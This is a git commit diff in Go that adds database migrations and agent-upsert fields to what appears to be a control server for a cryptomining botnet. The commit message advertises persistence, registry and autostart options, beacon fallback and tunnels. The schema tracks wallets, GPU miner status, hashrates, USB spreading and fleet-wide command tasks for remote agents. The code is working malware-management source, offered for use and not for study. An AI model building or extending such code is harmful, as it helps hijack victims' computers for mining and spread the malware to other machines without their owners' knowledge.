feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
@@ -130,6 +130,45 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
|
||||
|
||||
extraMigrations := []string{
|
||||
`CREATE TABLE IF NOT EXISTS audit_log (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
username TEXT NOT NULL DEFAULT '',
|
||||
action TEXT NOT NULL,
|
||||
agent_id TEXT NOT NULL DEFAULT '',
|
||||
detail TEXT NOT NULL DEFAULT '{}'
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_log(timestamp)`,
|
||||
`CREATE TABLE IF NOT EXISTS fleet_tasks (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
enabled INTEGER NOT NULL DEFAULT 1,
|
||||
trigger TEXT NOT NULL,
|
||||
interval_hours REAL NOT NULL DEFAULT 0,
|
||||
cron_time TEXT NOT NULL DEFAULT '',
|
||||
action TEXT NOT NULL,
|
||||
command TEXT NOT NULL DEFAULT '',
|
||||
target TEXT NOT NULL DEFAULT 'all',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE TABLE IF NOT EXISTS fleet_task_runs (
|
||||
agent_id TEXT NOT NULL,
|
||||
task_id TEXT NOT NULL,
|
||||
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
PRIMARY KEY (agent_id, task_id)
|
||||
)`,
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -137,8 +176,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?)
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet = excluded.wallet,
|
||||
@@ -152,8 +191,15 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
arch = excluded.arch,
|
||||
os_version = excluded.os_version,
|
||||
hostname = excluded.hostname,
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress)
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
|
||||
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
|
||||
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
|
||||
usb_spread = excluded.usb_spread`
|
||||
usb := 0
|
||||
if a.USBSpread {
|
||||
usb = 1
|
||||
}
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
|
||||
return err
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user